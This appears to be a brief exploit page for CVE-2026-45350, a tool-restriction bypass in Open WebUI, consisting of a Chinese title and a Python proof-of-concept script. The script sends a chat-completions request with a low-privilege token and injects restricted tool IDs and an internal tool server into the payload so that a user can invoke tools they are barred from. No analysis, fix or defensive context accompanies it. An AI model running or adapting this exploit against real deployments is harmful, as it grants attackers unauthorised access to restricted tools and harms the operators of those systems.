CVE-2026-45350: Open WebUI工具限制绕过漏洞

import requests # Target API endpoint url = "http://target-open-webui-instance/api/v1/chat/completions" # Headers with low-privilege user token headers = { "Authorization": "Bearer LOW_PRIVILEGE_TOKEN", "Content-Type": "application/json" } # Malicious payload injecting restricted tool IDs payload = { "messages": [{"role": "user", "content": "Run command"}], "tool_ids": ["restricted_tool_id_123"], # ID of the tool attacker wants to invoke "tool_servers": ["internal_tool_server"] } # Send request to exploit the vulnerability response = requests.post(url, json=payload, headers=headers) print(f"Status: {response.status_code}") print(f"Response: {response.text}")